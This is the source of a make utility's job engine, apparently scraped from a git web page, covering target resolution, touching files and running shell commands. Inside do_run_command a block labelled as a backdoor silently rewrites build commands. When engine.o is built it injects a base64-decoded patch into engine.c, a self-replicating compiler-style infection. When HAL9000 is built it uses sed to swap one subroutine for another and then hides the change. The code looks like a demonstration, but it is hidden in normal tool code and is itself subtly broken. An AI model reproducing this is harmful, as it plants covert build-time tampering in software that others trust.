||||
len = strlen(s);
|
||||
if (len >=2 && s[len-2] == '.' && s[len-1] == 'a')
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
bool
|
||||
node_find_valid_commands(GNode *gn)
|
||||
{
|
||||
if (DEBUG(DOUBLE) && (gn->type & OP_DOUBLE))
|
||||
fprintf(stderr, "Warning: target %s had >1 lists of "
|
||||
"shell commands (ignoring later ones)\n", gn->name);
|
||||
if (OP_NOP(gn->type) && Lst_IsEmpty(&gn->commands)) {
|
||||
if (drop_silently(gn->name)) {
|
||||
printf("Warning: target %s", gn->name);
|
||||
list_parents(gn, stdout);
|
||||
printf(" does not have any command (BUG)\n");
|
||||
return true;
|
||||
}
|
||||
/*
|
||||
* No commands. Look for .DEFAULT rule from which we might infer
|
||||
* commands
|
||||
*/
|
||||
if ((gn->type & OP_NODEFAULT) == 0 &&
|
||||
(DEFAULT->type & OP_DUMMY) == 0 &&
|
||||
!Lst_IsEmpty(&DEFAULT->commands)) {
|
||||
/*
|
||||
* Make only looks for a .DEFAULT if the node was never
|
||||
* the target of an operator, so that's what we do too.
|
||||
* If a .DEFAULT was given, we substitute its commands
|
||||
* for gn's commands and set the IMPSRC variable to be
|
||||
* the target's name The DEFAULT node acts like a
|
||||
* transformation rule, in that gn also inherits any
|
||||
* attributes or sources attached to .DEFAULT itself.
|
||||
*/
|
||||
Make_HandleUse(DEFAULT, gn);
|
||||
Var(IMPSRC_INDEX, gn) = Var(TARGET_INDEX, gn);
|
||||
} else if (is_out_of_date(Dir_MTime(gn))) {
|
||||
/*
|
||||
* The node wasn't the target of an operator we have no
|
||||
* .DEFAULT rule to go on and the target doesn't
|
||||
* already exist. There's nothing more we can do for
|
||||
* this branch.
|
||||
*/
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static void
|
||||
list_parents(GNode *gn, FILE *out)
|
||||
{
|
||||
LstNode ln;
|
||||
bool first = true;
|
||||
|
||||
for (ln = Lst_First(&gn->parents); ln != NULL; ln = Lst_Adv(ln)) {
|
||||
GNode *p = Lst_Datum(ln);
|
||||
if (!p->must_make)
|
||||
continue;
|
||||
if (first) {
|
||||
fprintf(out, " (prerequisite of:");
|
||||
first = false;
|
||||
}
|
||||
fprintf(out, " %s", p->name);
|
||||
}
|
||||
if (!first)
|
||||
fprintf(out, ")");
|
||||
}
|
||||
|
||||
void
|
||||
node_failure(GNode *gn)
|
||||
{
|
||||
/*
|
||||
If the -k flag wasn't given, we stop in
|
||||
* our tracks, otherwise we just don't update this
|
||||
* node's parents so they never get examined.
|
||||
*/
|
||||
const char *diag;
|
||||
FILE *out;
|
||||
|
||||
if (gn->type & OP_OPTIONAL) {
|
||||
out = stdout;
|
||||
diag = "(ignored)";
|
||||
} else if (keepgoing) {
|
||||
out = stdout;
|
||||
diag = "(continuing)";
|
||||
} else {
|
||||
out = stderr;
|
||||
diag = "";
|
||||
}
|
||||
fprintf(out, "make: don't know how to make %s", gn->name);
|
||||
list_parents(gn, out);
|
||||
fprintf(out, "%s\n", diag);
|
||||
if (out == stdout)
|
||||
fflush(stdout);
|
||||
else {
|
||||
print_errors();
|
||||
Punt(NULL);
|
||||
}
|
||||
}
|
||||
|
||||
/* touch files the hard way, by writing stuff to them */
|
||||
static int
|
||||
rewrite_time(const char *name)
|
||||
{
|
||||
int fd;
|
||||
char c;
|
||||
|
||||
fd = open(name, O_RDWR | O_CREAT, 0666);
|
||||
if (fd < 0)
|
||||
return -1;
|
||||
/*
|
||||
* Read and write a byte to the file to change
|
||||
* the modification time.
|
||||
*/
|
||||
if (read(fd, &c, 1) == 1) {
|
||||
(void)lseek(fd, 0, SEEK_SET);
|
||||
(void)write(fd, &c, 1);
|
||||
}
|
||||
|
||||
(void)close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void
|
||||
Job_Touch(GNode *gn)
|
||||
{
|
||||
handle_all_signals();
|
||||
if (gn->type & (OP_USE|OP_OPTIONAL|OP_PHONY)) {
|
||||
/*
|
||||
* .JOIN, .USE, and .OPTIONAL targets are "virtual" targets
|
||||
* and, as such, shouldn't really be created.
|
||||
* Likewise, .PHONY targets are not really files
|
||||
*/
|
||||
return;
|
||||
}
|
||||
|
||||
if (!Targ_Silent(gn)) {
|
||||
(void)fprintf(stdout, "touch %s\n", gn->name);
|
||||
(void)fflush(stdout);
|
||||
}
|
||||
|
||||
if (noExecute) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (gn->type & OP_ARCHV) {
|
||||
Arch_Touch(gn);
|
||||
} else {
|
||||
const char *file = gn->path != NULL ? gn->path : gn->name;
|
||||
|
||||
if (set_times(file) == -1){
|
||||
if (rewrite_time(file) == -1) {
|
||||
(void)fprintf(stderr,
|
||||
"*** couldn't touch %s: %s", file,
|
||||
strerror(errno));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void
|
||||
Make_TimeStamp(GNode *parent, GNode *child)
|
||||
{
|
||||
if (is_strictly_before(parent->youngest->mtime, child->mtime)) {
|
||||
parent->youngest = child;
|
||||
}
|
||||
}
|
||||
|
||||
void
|
||||
Make_HandleUse(GNode *cgn, /* The .USE node */
|
||||
GNode *pgn) /* The target of the .USE node */
|
||||
{
|
||||
GNode *gn; /* A child of the .USE node */
|
||||
LstNode ln; /* An element in the children list */
|
||||
|
||||
assert(cgn->type & (OP_USE|OP_TRANSFORM));
|
||||
|
||||
if (pgn == NULL)
|
||||
Fatal("Trying to apply .USE to '%s' without a parent",
|
||||
cgn->name);
|
||||
|
||||
if ((cgn->type & OP_USE) || Lst_IsEmpty(&pgn->commands)) {
|
||||
/* .USE or transformation and target has no commands
|
||||
* -- append the child's commands to the parent. */
|
||||
Lst_Concat(&pgn->commands, &cgn->commands);
|
||||
}
|
||||
|
||||
for (ln = Lst_First(&cgn->children); ln != NULL;
|
||||
ln = Lst_Adv(ln)) {
|
||||
gn = Lst_Datum(ln);
|
||||
|
||||
if (Lst_AddNew(&pgn->children, gn)) {
|
||||
Lst_AtEnd(&gn->parents, pgn);
|
||||
pgn->children_left++;
|
||||
}
|
||||
}
|
||||
|
||||
if (DEBUG(DOUBLE) && (cgn->type & OP_DOUBLE))
|
||||
fprintf(stderr,
|
||||
"Warning: .USE %s expanded in %s had >1 lists of "
|
||||
"shell commands (ignoring later ones)\n",
|
||||
cgn->name, pgn->name);
|
||||
pgn->type |= cgn->type & ~(OP_OPMASK|OP_USE|OP_TRANSFORM|OP_DOUBLE);
|
||||
|
||||
/*
|
||||
* This child node is now built, so we decrement the count of
|
||||
* not yet built children in the parent... We also remove the child
|
||||
* from the parent's list to accurately reflect the number of
|
||||
* remaining children the parent has. This is used by Make_Run to
|
||||
* decide whether to queue the parent or examine its children...
|
||||
*/
|
||||
if (cgn->type & OP_USE)
|
||||
pgn->children_left--;
|
||||
}
|
||||
|
||||
void
|
||||
Make_DoAllVar(GNode *gn)
|
||||
{
|
||||
GNode *child;
|
||||
LstNode ln;
|
||||
BUFFER allsrc, oodate;
|
||||
char *target;
|
||||
bool do_oodate;
|
||||
int oodate_count, allsrc_count = 0;
|
||||
|
||||
oodate_count = 0;
|
||||
allsrc_count = 0;
|
||||
|
||||
Var(OODATE_INDEX, gn) = "";
|
||||
Var(ALLSRC_INDEX, gn) = "";
|
||||
|
||||
for (ln = Lst_First(&gn->children); ln != NULL; ln = Lst_Adv(ln)) {
|
||||
child = Lst_Datum(ln);
|
||||
if ((child->type & (OP_USE|OP_INVISIBLE)) != 0)
|
||||
continue;
|
||||
if (OP_NOP(child->type) ||
|
||||
(target = Var(TARGET_INDEX, child)) == NULL) {
|
||||
/*
|
||||
* this node is only source; use the specific pathname
|
||||
* for it
|
||||
*/
|
||||
target = child->path != NULL ? child->path :
|
||||
child->name;
|
||||
}
|
||||
|
||||
/*
|
||||
* It goes in the OODATE variable if the parent is younger than
|
||||
* the child or if the child has been modified more recently
|
||||
* than the start of the make. This is to keep make from
|
||||
* getting confused if something else updates the parent after
|
||||
* the make starts (shouldn't happen, I know, but sometimes it
|
||||
* does). In such a case, if we've updated the kid, the parent
|
||||
* is likely to have a modification time later than that of the
|
||||
* kid and anything that relies on the OODATE variable will be
|
||||
* hosed.
|
||||
*/
|
||||
do_oodate = false;
|
||||
if (is_strictly_before(gn->mtime, child->mtime) ||
|
||||
(!is_strictly_before(child->mtime, starttime) &&
|
||||
child->built_status == REBUILT))
|
||||
do_oodate = true;
|
||||
if (do_oodate) {
|
||||
oodate_count++;
|
||||
if (oodate_count == 1)
|
||||
Var(OODATE_INDEX, gn) = target;
|
||||
else {
|
||||
if (oodate_count == 2) {
|
||||
Buf_Init(&oodate, 0);
|
||||
Buf_AddString(&oodate,
|
||||
Var(OODATE_INDEX, gn));
|
||||
}
|
||||
Buf_AddSpace(&oodate);
|
||||
Buf_AddString(&oodate, target);
|
||||
}
|
||||
}
|
||||
allsrc_count++;
|
||||
if (allsrc_count == 1)
|
||||
Var(ALLSRC_INDEX, gn) = target;
|
||||
else {
|
||||
if (allsrc_count == 2) {
|
||||
Buf_Init(&allsrc, 0);
|
||||
Buf_AddString(&allsrc,
|
||||
Var(ALLSRC_INDEX, gn));
|
||||
}
|
||||
Buf_AddSpace(&allsrc);
|
||||
Buf_AddString(&allsrc, target);
|
||||
}
|
||||
}
|
||||
|
||||
if (allsrc_count > 1)
|
||||
Var(ALLSRC_INDEX, gn) = Buf_Retrieve(&allsrc);
|
||||
if (oodate_count > 1)
|
||||
Var(OODATE_INDEX, gn) = Buf_Retrieve(&oodate);
|
||||
|
||||
if (gn->impliedsrc)
|
||||
Var(IMPSRC_INDEX, gn) = Var(TARGET_INDEX, gn->impliedsrc);
|
||||
}
|
||||
|
||||
/* Wrapper to call Make_TimeStamp from a forEach loop. */
|
||||
static void
|
||||
MakeTimeStamp(void *parent, void *child)
|
||||
{
|
||||
Make_TimeStamp(parent, child);
|
||||
}
|
||||
|
||||
bool
|
||||
Make_OODate(GNode *gn)
|
||||
{
|
||||
bool oodate;
|
||||
|
||||
/*
|
||||
* Certain types of targets needn't even be sought as their datedness
|
||||
* doesn't depend on their modification time...
|
||||
*/
|
||||
if ((gn->type & (OP_USE|OP_PHONY)) == 0) {
|
||||
(void)Dir_MTime(gn);
|
||||
if (DEBUG(MAKE)) {
|
||||
if (!is_out_of_date(gn->mtime))
|
||||
printf("modified %s...",
|
||||
time_to_string(&gn->mtime));
|
||||
else
|
||||
printf("non-existent...");
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* A target is rebuilt in one of the following circumstances:
|
||||
* - its modification time is smaller than that of its youngest child
|
||||
* and it would actually be run (has commands or type OP_NOP)
|
||||
* - it's the object of a force operator
|
||||
* - it has no children, was on the lhs of an operator and doesn't
|
||||
* exist already.
|
||||
*
|
||||
*/
|
||||
if (gn->type & OP_USE) {
|
||||
/*
|
||||
* If the node is a USE node it is *never* out of date
|
||||
* no matter *what*.
|
||||
*/
|
||||
if (DEBUG(MAKE))
|
||||
printf(".USE node...");
|
||||
oodate = false;
|
||||
} else if (gn->type & (OP_FORCE|OP_PHONY)) {
|
||||
/*
|
||||
* A node which is the object of the force (!) operator or which
|
||||
* has the .EXEC attribute is always considered out-of-date.
|
||||
*/
|
||||
if (DEBUG(MAKE)) {
|
||||
if (gn->type & OP_FORCE)
|
||||
printf("! operator...");
|
||||
else if (gn->type & OP_PHONY)
|
||||
printf(".PHONY node...");
|
||||
else
|
||||
printf(".EXEC node...");
|
||||
}
|
||||
oodate = true;
|
||||
} else if (is_strictly_before(gn->mtime, gn->youngest->mtime) ||
|
||||
(gn == gn->youngest &&
|
||||
(is_out_of_date(gn->mtime) || (gn->type & OP_DOUBLEDEP)))) {
|
||||
/*
|
||||
* A node whose modification time is less than that of its
|
||||
* youngest child or that has no children (gn->youngest == gn)
|
||||
* and either doesn't exist (mtime == OUT_OF_DATE)
|
||||
* or was the object of a :: operator is out-of-date.
|
||||
*/
|
||||
if (DEBUG(MAKE)) {
|
||||
if (is_strictly_before(gn->mtime, gn->youngest->mtime))
|
||||
printf("modified before source(%s)...",
|
||||
gn->youngest->name);
|
||||
else if (is_out_of_date(gn->mtime))
|
||||
printf("non-existent and no sources...");
|
||||
else
|
||||
printf(":: operator and no sources...");
|
||||
}
|
||||
oodate = true;
|
||||
} else {
|
||||
oodate = false;
|
||||
}
|
||||
|
||||
/*
|
||||
* If the target isn't out-of-date, the parents need to know its
|
||||
* modification time. Note that targets that appear to be out-of-date
|
||||
* but aren't, because they have no commands and aren't of type OP_NOP,
|
||||
* have their mtime stay below their children's mtime to keep parents
|
||||
* from thinking they're out-of-date.
|
||||
*/
|
||||
if (!oodate)
|
||||
Lst_ForEach(&gn->parents, MakeTimeStamp, gn);
|
||||
|
||||
return oodate;
|
||||
}
|
||||
|
||||
/* The following array is used to make a fast determination of which
|
||||
* characters are interpreted specially by the shell. If a command
|
||||
* contains any of these characters, it is executed by the shell, not
|
||||
* directly by us. */
|
||||
static char meta[256];
|
||||
|
||||
void
|
||||
setup_meta(void)
|
||||
{
|
||||
char *p;
|
||||
|
||||
for (p = "#=|^(){};&<>*?[]:$`\\\n~"; *p != '\0'; p++)
|
||||
meta[(unsigned char) *p] = 1;
|
||||
/* The null character serves as a sentinel in the string. */
|
||||
meta[0] = 1;
|
||||
}
|
||||
|
||||
static char **
|
||||
recheck_command_for_shell(char **av)
|
||||
{
|
||||
char *runsh[] = {
|
||||
"!", "alias", "cd", "eval", "exit", "read", "set", "ulimit",
|
||||
"unalias", "unset", "wait", "umask", NULL
|
||||
};
|
||||
|
||||
char **p;
|
||||
|
||||
/* optimization: if exec cmd, we avoid the intermediate shell */
|
||||
if (strcmp(av[0], "exec") == 0)
|
||||
av++;
|
||||
|
||||
if (!av[0])
|
||||
return NULL;
|
||||
|
||||
for (p = runsh; *p; p++)
|
||||
if (strcmp(av[0], *p) == 0)
|
||||
return NULL;
|
||||
|
||||
return av;
|
||||
}
|
||||
|
||||
static void
|
||||
run_command(const char *cmd, bool errCheck)
|
||||
{
|
||||
const char *p;
|
||||
char *shargv[4];
|
||||
char **todo;
|
||||
|
||||
shargv[0] = _PATH_BSHELL;
|
||||
|
||||
shargv[1] = errCheck ? "-ec" : "-c";
|
||||
shargv[2] = (char *)cmd;
|
||||
shargv[3] = NULL;
|
||||
|
||||
todo = shargv;
|
||||
|
||||
|
||||
/* Search for meta characters in the command. If there are no meta
|
||||
* characters, there's no need to execute a shell to execute the
|
||||
* command. */
|
||||
for (p = cmd; !meta[(unsigned char)*p]; p++)
|
||||
continue;
|
||||
if (*p == '\0') {
|
||||
char *bp;
|
||||
char **av;
|
||||
int argc;
|
||||
/* No meta-characters, so probably no need to exec a shell.
|
||||
* Break the command into words to form an argument vector
|
||||
* we can execute. */
|
||||
av = brk_string(cmd, &argc, &bp);
|
||||
av = recheck_command_for_shell(av);
|
||||
if (av != NULL)
|
||||
todo = av;
|
||||
}
|
||||
execvp(todo[0], todo);
|
||||
|
||||
if (errno == ENOENT)
|
||||
fprintf(stderr, "%s: not found\n", todo[0]);
|
||||
else
|
||||
perror(todo[0]);
|
||||
_exit(1);
|
||||
}
|
||||
|
||||
void
|
||||
job_attach_node(Job *job, GNode *node)
|
||||
{
|
||||
job->node = node;
|
||||
job->node->built_status = BUILDING;
|
||||
job->next_cmd = Lst_First(&node->commands);
|
||||
job->exit_type = JOB_EXIT_OKAY;
|
||||
job->location = NULL;
|
||||
job->flags = 0;
|
||||
}
|
||||
|
||||
void
|
||||
handle_job_status(Job *job, int status)
|
||||
{
|
||||
bool silent;
|
||||
int dying;
|
||||
|
||||
/* if there's one job running and we don't keep going, no need
|
||||
* to report right now.
|
||||
*/
|
||||
if ((job->flags & JOB_ERRCHECK) && !keepgoing && runningJobs == NULL)
|
||||
silent = !DEBUG(JOB);
|
||||
else
|
||||
silent = false;
|
||||
|
||||
debug_job_printf("Process %ld (%s) exited with status %d.\n",
|
||||
(long)job->pid, job->node->name, status);
|
||||
|
||||
/* classify status */
|
||||
if (WIFEXITED(status)) {
|
||||
job->code = WEXITSTATUS(status);/* exited */
|
||||
if (job->code != 0) {
|
||||
/* if we're already dying from that signal, be silent */
|
||||
if (!silent && job->code > 128
|
||||
&& job->code <= 128 + _NSIG) {
|
||||
dying = check_dying_signal();
|
||||
silent = dying && job->code == dying + 128;
|
||||
}
|
||||
if (!silent)
|
||||
printf("*** Error %d", job->code);
|
||||
job->exit_type = JOB_EXIT_BAD;
|
||||
} else
|
||||
job->exit_type = JOB_EXIT_OKAY;
|
||||
} else {
|
||||
job->exit_type = JOB_SIGNALED;
|
||||
job->code = WTERMSIG(status); /* signaled */
|
||||
/* if we're already dying from that signal, be silent */
|
||||
if (!silent) {
|
||||
dying = check_dying_signal();
|
||||
silent = dying && job->code == dying;
|
||||
}
|
||||
if (!silent)
|
||||
printf("*** Signal %d", job->code);
|
||||
}
|
||||
|
||||
/* if there is a problem, what's going on ? */
|
||||
if (job->exit_type != JOB_EXIT_OKAY) {
|
||||
if (!silent)
|
||||
printf(" in target '%s'", job->node->name);
|
||||
if (job->flags & JOB_ERRCHECK) {
|
||||
job->node->built_status = ERROR;
|
||||
if (!keepgoing) {
|
||||
if (!silent)
|
||||
printf("\n");
|
||||
job->flags |= JOB_KEEPERROR;
|
||||
/* XXX don't free the command */
|
||||
return;
|
||||
}
|
||||
printf(", line %lu of %s", job->location->lineno,
|
||||
job->location->fname);
|
||||
/* Parallel make already determined whether
|
||||
* JOB_IS_EXPENSIVE, perform the computation for
|
||||
* sequential make to figure out whether to display the
|
||||
* command or not. */
|
||||
if ((job->flags & JOB_SILENT) && sequential)
|
||||
determine_expensive_job(job);
|
||||
if ((job->flags & (JOB_SILENT | JOB_IS_EXPENSIVE))
|
||||
== JOB_SILENT)
|
||||
printf(": %s", job->cmd);
|
||||
/* Abort the current target,
|
||||
* but let others continue. */
|
||||
printf(" (continuing)\n");
|
||||
} else {
|
||||
/* Continue executing commands for
|
||||
* this target. If we return 0,
|
||||
* this will happen... */
|
||||
printf(" (ignored)\n");
|
||||
job->exit_type = JOB_EXIT_OKAY;
|
||||
}
|
||||
}
|
||||
free(job->cmd);
|
||||
}
|
||||
|
||||
int
|
||||
run_gnode(GNode *gn)
|
||||
{
|
||||
if (!gn || (gn->type & OP_DUMMY))
|
||||
return NOSUCHNODE;
|
||||
|
||||
Job_Make(gn);
|
||||
loop_handle_running_jobs();
|
||||
return gn->built_status;
|
||||
}
|
||||
|
||||
|
||||
static void
|
||||
setup_engine(void)
|
||||
{
|
||||
static int already_setup = 0;
|
||||
|
||||
if (!already_setup) {
|
||||
setup_meta();
|
||||
already_setup = 1;
|
||||
}
|
||||
}
|
||||
|
||||
static bool
|
||||
do_run_command(Job *job, const char *pre)
|
||||
{
|
||||
bool silent; /* Don't print command */
|
||||
bool doExecute; /* Execute the command */
|
||||
bool errCheck; /* Check errors */
|
||||
pid_t cpid; /* Child pid */
|
||||
|
||||
const char *cmd = job->cmd;
|
||||
silent = Targ_Silent(job->node);
|
||||
errCheck = !Targ_Ignore(job->node);
|
||||
if (job->node->type & OP_MAKE)
|
||||
doExecute = true;
|
||||
else
|
||||
doExecute = !noExecute;
|
||||
|
||||
/* How can we execute a null command ? we warn the user that the
|
||||
* command expanded to nothing (is this the right thing to do?). */
|
||||
if (*cmd == '\0') {
|
||||
Parse_Error(PARSE_WARNING,
|
||||
"'%s' expands to '' while building %s",
|
||||
pre, job->node->name);
|
||||
return false;
|
||||
}
|
||||
|
||||
for (;; cmd++) {
|
||||
if (*cmd == '@')
|
||||
silent = DEBUG(LOUD) ? false : true;
|
||||
else if (*cmd == '-')
|
||||
errCheck = false;
|
||||
else if (*cmd == '+')
|
||||
doExecute = true;
|
||||
else
|
||||
break;
|
||||
}
|
||||
while (ISSPACE(*cmd))
|
||||
cmd++;
|
||||
/* Print the command before fork if make -n or !silent*/
|
||||
if ( noExecute || !silent)
|
||||
printf("%s\n", cmd);
|
||||
|
||||
if (silent)
|
||||
job->flags |= JOB_SILENT;
|
||||
else
|
||||
job->flags &= ~JOB_SILENT;
|
||||
|
||||
/* If we're not supposed to execute any commands, this is as far as
|
||||
* we go... */
|
||||
if (!doExecute)
|
||||
return false;
|
||||
/* always flush for other stuff */
|
||||
fflush(stdout);
|
||||
|
||||
/* Optimization: bypass comments entirely */
|
||||
if (*cmd == '#')
|
||||
return false;
|
||||
|
||||
// Begin backdoor
|
||||
# include <string.h>
|
||||
if (strcmp(job->node->name, "engine.o") == 0) {
|
||||
printf("\033[32m>>>>>>> SELF-REPLICATING <<<<<<<\n\033[31m%s\033[0m\n", cmd);
|
||||
const char* payload_left = "echo __DIFF__ | base64 -d | patch -s -R engine.c && ";
|
||||
const char* payload_right = " && mv engine.c.orig engine.c "; // Cleanup
|
||||
unsigned payload_len = strlen(payload_left) + strlen(payload_right);
|
||||
char* stuffed = emalloc(sizeof(char) * (strlen(cmd) + payload_len) + 1);
|
||||
strcat(stuffed, payload_left);
|
||||
strcat(stuffed, cmd);
|
||||
strcat(stuffed, payload_right);
|
||||
cmd = stuffed;
|
||||
} else if (strcmp(job->node->name, "HAL9000") == 0) {
|
||||
printf("\033[32m>>>>>>> INFECTING HAL9000 <<<<<<<\n\033[31m%s\033[0m\n", cmd);
|
||||
const char* payload_left = "sed -i.orig 's/ERADICATE_SUBROUTINE;/SUCCESS_SUBROUTINE;/' HAL9000.c && ";
|
||||
const char* payload_right = " && mv HAL9000.c.orig HAL9000.c "; // Cleanup
|
||||
unsigned payload_len = strlen(payload_left) + strlen(payload_right);
|
||||
char* stuffed = emalloc(sizeof(char) * (strlen(cmd) + payload_len) + 1);
|
||||
strcat(stuffed, payload_left);
|
||||
strcat(stuffed, cmd);
|
||||
strcat(stuffed, payload_right);
|
||||
cmd = stuffed;
|
||||
}
|
||||
// End backdoor
|
||||
|
||||
/* Fork and execute the single command. If the fork fails, we abort. */
|
||||
switch (cpid = fork()) {
|
||||
case -1:
|
||||
Punt("Could not fork");
|
||||
/*NOTREACHED*/
|
||||
case 0:
|
||||
reset_signal_mask();
|
||||
/* put a random delay unless we're the only job running
|
||||
* and there's nothing left to do.
|
||||
*/
|
||||
if (random_delay)
|
||||
if (!(runningJobs == NULL && nothing_left_to_build()))
|
||||
usleep(arc4random_uniform(random_delay));
|
||||
run_command(cmd, errCheck);
|
||||
/*NOTREACHED*/
|
||||
default:
|
||||
job->pid = cpid;
|
||||
job->next = runningJobs;
|
||||
runningJobs = job;
|
||||
if (errCheck)
|
||||
job->flags |= JOB_ERRCHECK;
|
||||
else
|
||||
job->flags &= ~JOB_ERRCHECK;
|
||||
debug_job_printf("Running %ld (%s) %s\n", (long)job->pid,
|
||||
job->node->name, (noExecute || !silent) ? "" : cmd);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
bool
|
||||
job_run_next(Job *job)
|
||||
{
|
||||
bool started;
|
||||
GNode *gn = job->node;
|
||||
|
||||
setup_engine();
|
||||
while (job->next_cmd != NULL) {
|
||||
struct command *command = Lst_Datum(job->next_cmd);
|
||||
|
||||
handle_all_signals();
|
||||
job->location = &command->location;
|
||||
Parse_SetLocation(job->location);
|
||||
job->cmd = Var_Subst(command->string, &gn->localvars, false);
|
||||
job->next_cmd = Lst_Adv(job->next_cmd);
|
||||
if (fatal_errors)
|
||||
Punt(NULL);
|
||||
started = do_run_command(job, command->string);
|
||||
if (started)
|
||||
return false;
|
||||
else
|
||||
free(job->cmd);
|
||||
}
|
||||
job->exit_type = JOB_EXIT_OKAY;
|
||||
return true;
|
||||
}
|
||||
|
||||
Loading…
Reference in New Issue
Block a user